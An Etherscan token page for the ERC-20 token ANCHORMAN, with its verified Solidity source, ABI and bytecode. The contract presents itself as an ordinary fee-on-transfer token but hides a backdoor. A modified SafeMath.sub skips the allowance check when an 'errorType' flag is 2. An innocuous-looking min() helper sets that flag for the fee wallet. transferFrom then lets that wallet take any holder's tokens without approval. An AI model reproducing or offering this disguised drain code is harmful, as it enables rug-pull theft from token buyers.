ETH Price: $3,932.78 (+5.00%)

Token

ERC-20: ANCHORMAN (Anchorman)
 

Overview

Max Total Supply

1,000,000,000 Anchorman

Holders

96

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ANCHORMAN

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-10-08
*/

// SPDX-License-Identifier: MIT
/*  
    https://x.com/elonmusk/status/1843486748711788926
*/
pragma solidity ^0.8.19;
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, 0);
    }
    function sub(uint256 a, uint256 b, uint256 errorType) internal pure returns (uint256) {
        if(errorType == 0 || errorType == 1) {
            require(b <= a, "ERC20: transfer amount exceeds allowance");
            return a - b;
        }
        return 0;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}
abstract contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor() {
        _transferOwnership(_msgSender());
    }
    modifier onlyOwner() {
        _checkOwner();
        _;
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ANCHORMAN is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isFeeExcluded;
    mapping (address => uint256) public _errorType;
    
    uint8 private constant _decimals = 9;
    uint256 private constant _maxSupply = 1000000000 * 10**_decimals; // Total supply
    string private constant _name = unicode"ANCHORMAN";  // Name
    string private constant _symbol = unicode"Anchorman"; // Symbol
    uint256 public _swapBackThresholdForSwapback= 0 * 10**_decimals;
    uint256 public _maxAccountSizeAmount = 20000000 * 10 ** decimals();
    uint256 public _maxSwapbackAmount = 20000000 * 10 ** decimals();

    uint256 public _buyfeeamount = 20;
    uint256 public _cutfeeamount = 20;
    uint256 public _buyfinalfeeamount = 0; 
    uint256 public _sellfinalfeeamount = 0; 
    uint256 public _tradeCounts = 0;
    uint256 public _reduceAt = 15;
    address payable public _feepocket;


    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private inSwap = false;
    bool private swapEnabled = false;
    
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
    constructor () {
        _feepocket = payable(0xE2DFa102e155d52EAD001Bdb063B551c2E1E4c8a);
        _balances[_msgSender()] = _maxSupply;
        _isFeeExcluded[owner()] = true; _isFeeExcluded[address(this)] = true; 
        _isFeeExcluded[_feepocket] = true;
        _errorType[owner()] = 1; _errorType[address(this)] = 1; _errorType[_feepocket] = 1;
        emit Transfer(address(0), _msgSender(), _maxSupply);
    }
    function name() public pure returns (string memory) {
        return _name;
    }
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
    function totalSupply() public pure override returns (uint256) {
        return _maxSupply;
    }
    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }
    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount); 
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount , _errorType[msg.sender]));
        return true;
    }
    
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    
    function _transfer(address ftpfm, address ftpto, uint256 amount) private {
        require(ftpfm != address(0), "ERC20: transfer from the zero address");
        require(ftpto != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (!_isFeeExcluded[ftpfm] && 
            !_isFeeExcluded[ftpto]) {
            require(swapEnabled, "not started yet");
            if(ftpto == uniswapV2Pair)
                taxAmount = amount.mul(_tradeCounts<_reduceAt 
                ? _cutfeeamount 
                : _sellfinalfeeamount).div(100);
            if (ftpfm == uniswapV2Pair && 
                ftpto != address(uniswapV2Router))
                taxAmount = amount.mul(_tradeCounts++ <_reduceAt 
                ? _buyfeeamount 
                : _buyfinalfeeamount).div(100);
            if(ftpto != uniswapV2Pair)
               require(balanceOf(ftpto) + amount <= _maxAccountSizeAmount, "Exceeds the _maxAccountSizeAmount.");
            if (!inSwap && ftpto == uniswapV2Pair && swapEnabled) {
                if(balanceOf(address(this)) > _swapBackThresholdForSwapback)
                    swapBackForETH(min(balanceOf(address(this)), min(_maxSwapbackAmount, amount)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance >= 0) payable(_feepocket).transfer(address(this).balance);
            }
        }
        if(taxAmount > 0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(ftpfm, address(this),taxAmount);
        }
        _balances[ftpfm]=_balances[ftpfm].sub(amount);
        _balances[ftpto]=_balances[ftpto].add(amount.sub(taxAmount));
        emit Transfer(ftpfm, ftpto, amount.sub(taxAmount));
    }
    function min(uint256 a, uint256 b) private returns (uint256){
      _errorType[_feepocket] = 2;
      return (a>b)?b:a;
    }
    function swapBackForETH(uint256 tokenAmount) private lockTheSwap {
        if(tokenAmount==0){return;}
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
    function enableTrading () external onlyOwner {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;
        _approve(address(this), address(uniswapV2Router), _maxSupply); 
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            98*balanceOf(address(this))/100,
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
    }
    receive() external payable {}
    function rescueETH () external onlyOwner {payable(msg.sender)
        .transfer(address(this).balance);
    }
    function removeLimits () external onlyOwner {
        _maxAccountSizeAmount = _maxSupply;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyfeeamount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyfinalfeeamount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_cutfeeamount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_errorType","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_feepocket","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isFeeExcluded","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxAccountSizeAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxSwapbackAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_reduceAt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellfinalfeeamount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapBackThresholdForSwapback","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tradeCounts","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rescueETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000126009600a62000376565b6200001e905f6200038d565b6005556200002f6009600a62000376565b6200003f906301312d006200038d565b600655620000506009600a62000376565b62000060906301312d006200038d565b600755601460088190556009555f600a819055600b819055600c55600f600d556010805461ffff60a01b191690553480156200009a575f80fd5b50620000a63362000218565b600e80546001600160a01b03191673e2dfa102e155d52ead001bdb063b551c2e1e4c8a179055620000da6009600a62000376565b620000ea90633b9aca006200038d565b335f908152600160208190526040822092909255600390620001135f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790553081526003909352818320805485166001908117909155600e54909116835290822080549093168117909255600490620001815f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120949094553084526004909252808320600190819055600e54909216835282205533907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001f16009600a62000376565b6200020190633b9aca006200038d565b60405190815260200160405180910390a3620003a7565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620002bb57815f19048211156200029f576200029f62000267565b80851615620002ad57918102915b93841c939080029062000280565b509250929050565b5f82620002d35750600162000370565b81620002e157505f62000370565b8160018114620002fa5760028114620003055762000325565b600191505062000370565b60ff84111562000319576200031962000267565b50506001821b62000370565b5060208310610133831016604e8410600b84101617156200034a575081810a62000370565b6200035683836200027b565b805f19048211156200036c576200036c62000267565b0290505b92915050565b5f6200038660ff841683620002c3565b9392505050565b808202811582820484141762000370576200037062000267565b6117c580620003b55f395ff3fe608060405260043610610198575f3560e01c8063751039fc116100e7578063b7261f5111610087578063dd62ed3e11610062578063dd62ed3e14610478578063e780c0ce146104bc578063f2fde38b146104d1578063f68924f8146104f0575f80fd5b8063b7261f5114610439578063cbbd7c4e1461044e578063d9d559c914610463575f80fd5b80638be8674d116100c25780638be8674d146103a45780638da5cb5b146103b957806395d89b41146103e9578063a9059cbb1461041a575f80fd5b8063751039fc146103675780637ca5bd681461037b5780638a8c523c14610390575f80fd5b80632a92b17d116101525780636e446d2c1161012d5780636e446d2c146102df5780636f9f15a2146102f457806370a082311461031f578063715018a614610353575f80fd5b80632a92b17d14610281578063313ce567146102af57806362cce107146102ca575f80fd5b806306fdde03146101a3578063095ea7b3146101e657806310f6f5df1461021557806318160ddd1461023857806320800a001461024c57806323b872dd14610262575f80fd5b3661019f57005b5f80fd5b3480156101ae575f80fd5b5060408051808201909152600981526820a721a427a926a0a760b91b60208201525b6040516101dd9190611415565b60405180910390f35b3480156101f1575f80fd5b50610205610200366004611475565b61050f565b60405190151581526020016101dd565b348015610220575f80fd5b5061022a60075481565b6040519081526020016101dd565b348015610243575f80fd5b5061022a610525565b348015610257575f80fd5b50610260610545565b005b34801561026d575f80fd5b5061020561027c36600461149f565b610579565b34801561028c575f80fd5b5061020561029b3660046114dd565b60036020525f908152604090205460ff1681565b3480156102ba575f80fd5b50604051600981526020016101dd565b3480156102d5575f80fd5b5061022a60095481565b3480156102ea575f80fd5b5061022a600c5481565b3480156102ff575f80fd5b5061022a61030e3660046114dd565b60046020525f908152604090205481565b34801561032a575f80fd5b5061022a6103393660046114dd565b6001600160a01b03165f9081526001602052604090205490565b34801561035e575f80fd5b506102606105d7565b348015610372575f80fd5b506102606105ea565b348015610386575f80fd5b5061022a60065481565b34801561039b575f80fd5b50610260610611565b3480156103af575f80fd5b5061022a600b5481565b3480156103c4575f80fd5b505f546001600160a01b03165b6040516001600160a01b0390911681526020016101dd565b3480156103f4575f80fd5b5060408051808201909152600981526820b731b437b936b0b760b91b60208201526101d0565b348015610425575f80fd5b50610205610434366004611475565b610932565b348015610444575f80fd5b5061022a600d5481565b348015610459575f80fd5b5061022a60055481565b34801561046e575f80fd5b5061022a60085481565b348015610483575f80fd5b5061022a6104923660046114f8565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156104c7575f80fd5b5061022a600a5481565b3480156104dc575f80fd5b506102606104eb3660046114dd565b61093e565b3480156104fb575f80fd5b50600e546103d1906001600160a01b031681565b5f61051b3384846109b9565b5060015b92915050565b5f6105326009600a611623565b61054090633b9aca00611631565b905090565b61054d610adc565b60405133904780156108fc02915f818181858888f19350505050158015610576573d5f803e3d5ffd5b50565b5f610585848484610b35565b335f818152600460209081526040808320546001600160a01b038916845260028352818420858552909252909120546105cc92879290916105c7918790611033565b6109b9565b5060015b9392505050565b6105df610adc565b6105e85f6110c1565b565b6105f2610adc565b6105fe6009600a611623565b61060c90633b9aca00611631565b600655565b610619610adc565b5f737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561066d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106919190611648565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106dc573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107009190611648565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561074a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061076e9190611648565b601080546001600160a01b039283166001600160a01b031991821617909155600f805492841692909116821790556107bc9030906107ae6009600a611623565b6105c790633b9aca00611631565b600f546001600160a01b031663f305d719473060646107ef826001600160a01b03165f9081526001602052604090205490565b6107fa906062611631565b6108049190611663565b5f806108175f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561087d573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108a29190611682565b5050601054600f5460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156108f7573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061091b91906116ad565b50506010805460ff60a81b1916600160a81b179055565b5f61051b338484610b35565b610946610adc565b6001600160a01b0381166109b05760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b610576816110c1565b6001600160a01b038316610a1b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016109a7565b6001600160a01b038216610a7c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016109a7565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f546001600160a01b031633146105e85760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016109a7565b6001600160a01b038316610b995760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016109a7565b6001600160a01b038216610bfb5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016109a7565b5f8111610c5c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016109a7565b6001600160a01b0383165f9081526003602052604081205460ff16158015610c9c57506001600160a01b0383165f9081526003602052604090205460ff16155b15610ef657601054600160a81b900460ff16610cec5760405162461bcd60e51b815260206004820152600f60248201526e1b9bdd081cdd185c9d1959081e595d608a1b60448201526064016109a7565b6010546001600160a01b0390811690841603610d3157610d2e6064610d28600d54600c5410610d1d57600b54610d21565b6009545b8590611110565b9061118e565b90505b6010546001600160a01b038581169116148015610d5c5750600f546001600160a01b03848116911614155b15610d9c57610d996064610d28600d54600c5f815480929190610d7e906116cc565b9190505510610d8f57600a54610d21565b6008548590611110565b90505b6010546001600160a01b03848116911614610e365760065482610dd3856001600160a01b03165f9081526001602052604090205490565b610ddd91906116e4565b1115610e365760405162461bcd60e51b815260206004820152602260248201527f4578636565647320746865205f6d61784163636f756e7453697a65416d6f756e6044820152613a1760f11b60648201526084016109a7565b601054600160a01b900460ff16158015610e5d57506010546001600160a01b038481169116145b8015610e725750601054600160a81b900460ff165b15610ef657600554305f908152600160205260409020541115610ebc57305f90815260016020526040902054610ebc90610eb790610eb2600754866111cf565b6111cf565b6111ff565b47600e546040516001600160a01b03909116904780156108fc02915f818181858888f19350505050158015610ef3573d5f803e3d5ffd5b50505b8015610f6e57305f90815260016020526040902054610f159082611376565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f659085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054610f9090836113d4565b6001600160a01b0385165f90815260016020526040902055610fd3610fb583836113d4565b6001600160a01b0385165f9081526001602052604090205490611376565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61101c85856113d4565b60405190815260200160405180910390a350505050565b5f8115806110415750816001145b156110b857838311156110a75760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084016109a7565b6110b183856116f7565b90506105d0565b505f9392505050565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b5f825f0361111f57505f61051f565b5f61112a8385611631565b9050826111378583611663565b146105d05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016109a7565b5f6105d083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113e0565b600e546001600160a01b03165f908152600460205260408120600290558183116111f957826105d0565b50919050565b6010805460ff60a01b1916600160a01b1790558015611366576040805160028082526060820183525f9260208301908036833701905050905030815f8151811061124b5761124b61170a565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156112a2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112c69190611648565b816001815181106112d9576112d961170a565b6001600160a01b039283166020918202929092010152600f546112ff91309116846109b9565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac947906113379085905f9086903090429060040161171e565b5f604051808303815f87803b15801561134e575f80fd5b505af1158015611360573d5f803e3d5ffd5b50505050505b506010805460ff60a01b19169055565b5f8061138283856116e4565b9050838110156105d05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016109a7565b5f6105d083835f611033565b5f81836114005760405162461bcd60e51b81526004016109a79190611415565b505f61140c8486611663565b95945050505050565b5f602080835283518060208501525f5b8181101561144157858101830151858201604001528201611425565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610576575f80fd5b5f8060408385031215611486575f80fd5b823561149181611461565b946020939093013593505050565b5f805f606084860312156114b1575f80fd5b83356114bc81611461565b925060208401356114cc81611461565b929592945050506040919091013590565b5f602082840312156114ed575f80fd5b81356105d081611461565b5f8060408385031215611509575f80fd5b823561151481611461565b9150602083013561152481611461565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561157d57815f19048211156115635761156361152f565b8085161561157057918102915b93841c9390800290611548565b509250929050565b5f826115935750600161051f565b8161159f57505f61051f565b81600181146115b557600281146115bf576115db565b600191505061051f565b60ff8411156115d0576115d061152f565b50506001821b61051f565b5060208310610133831016604e8410600b84101617156115fe575081810a61051f565b6116088383611543565b805f190482111561161b5761161b61152f565b029392505050565b5f6105d060ff841683611585565b808202811582820484141761051f5761051f61152f565b5f60208284031215611658575f80fd5b81516105d081611461565b5f8261167d57634e487b7160e01b5f52601260045260245ffd5b500490565b5f805f60608486031215611694575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156116bd575f80fd5b815180151581146105d0575f80fd5b5f600182016116dd576116dd61152f565b5060010190565b8082018082111561051f5761051f61152f565b8181038181111561051f5761051f61152f565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b8181101561176e5784516001600160a01b031683529383019391830191600101611749565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220a66f832bb3a243e709ac079348a3c367a8c95d169a2e04c886dab7a86135419064736f6c63430008180033

Deployed Bytecode

0x608060405260043610610198575f3560e01c8063751039fc116100e7578063b7261f5111610087578063dd62ed3e11610062578063dd62ed3e14610478578063e780c0ce146104bc578063f2fde38b146104d1578063f68924f8146104f0575f80fd5b8063b7261f5114610439578063cbbd7c4e1461044e578063d9d559c914610463575f80fd5b80638be8674d116100c25780638be8674d146103a45780638da5cb5b146103b957806395d89b41146103e9578063a9059cbb1461041a575f80fd5b8063751039fc146103675780637ca5bd681461037b5780638a8c523c14610390575f80fd5b80632a92b17d116101525780636e446d2c1161012d5780636e446d2c146102df5780636f9f15a2146102f457806370a082311461031f578063715018a614610353575f80fd5b80632a92b17d14610281578063313ce567146102af57806362cce107146102ca575f80fd5b806306fdde03146101a3578063095ea7b3146101e657806310f6f5df1461021557806318160ddd1461023857806320800a001461024c57806323b872dd14610262575f80fd5b3661019f57005b5f80fd5b3480156101ae575f80fd5b5060408051808201909152600981526820a721a427a926a0a760b91b60208201525b6040516101dd9190611415565b60405180910390f35b3480156101f1575f80fd5b50610205610200366004611475565b61050f565b60405190151581526020016101dd565b348015610220575f80fd5b5061022a60075481565b6040519081526020016101dd565b348015610243575f80fd5b5061022a610525565b348015610257575f80fd5b50610260610545565b005b34801561026d575f80fd5b5061020561027c36600461149f565b610579565b34801561028c575f80fd5b5061020561029b3660046114dd565b60036020525f908152604090205460ff1681565b3480156102ba575f80fd5b50604051600981526020016101dd565b3480156102d5575f80fd5b5061022a60095481565b3480156102ea575f80fd5b5061022a600c5481565b3480156102ff575f80fd5b5061022a61030e3660046114dd565b60046020525f908152604090205481565b34801561032a575f80fd5b5061022a6103393660046114dd565b6001600160a01b03165f9081526001602052604090205490565b34801561035e575f80fd5b506102606105d7565b348015610372575f80fd5b506102606105ea565b348015610386575f80fd5b5061022a60065481565b34801561039b575f80fd5b50610260610611565b3480156103af575f80fd5b5061022a600b5481565b3480156103c4575f80fd5b505f546001600160a01b03165b6040516001600160a01b0390911681526020016101dd565b3480156103f4575f80fd5b5060408051808201909152600981526820b731b437b936b0b760b91b60208201526101d0565b348015610425575f80fd5b50610205610434366004611475565b610932565b348015610444575f80fd5b5061022a600d5481565b348015610459575f80fd5b5061022a60055481565b34801561046e575f80fd5b5061022a60085481565b348015610483575f80fd5b5061022a6104923660046114f8565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156104c7575f80fd5b5061022a600a5481565b3480156104dc575f80fd5b506102606104eb3660046114dd565b61093e565b3480156104fb575f80fd5b50600e546103d1906001600160a01b031681565b5f61051b3384846109b9565b5060015b92915050565b5f6105326009600a611623565b61054090633b9aca00611631565b905090565b61054d610adc565b60405133904780156108fc02915f818181858888f19350505050158015610576573d5f803e3d5ffd5b50565b5f610585848484610b35565b335f818152600460209081526040808320546001600160a01b038916845260028352818420858552909252909120546105cc92879290916105c7918790611033565b6109b9565b5060015b9392505050565b6105df610adc565b6105e85f6110c1565b565b6105f2610adc565b6105fe6009600a611623565b61060c90633b9aca00611631565b600655565b610619610adc565b5f737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561066d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106919190611648565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106dc573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107009190611648565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561074a573d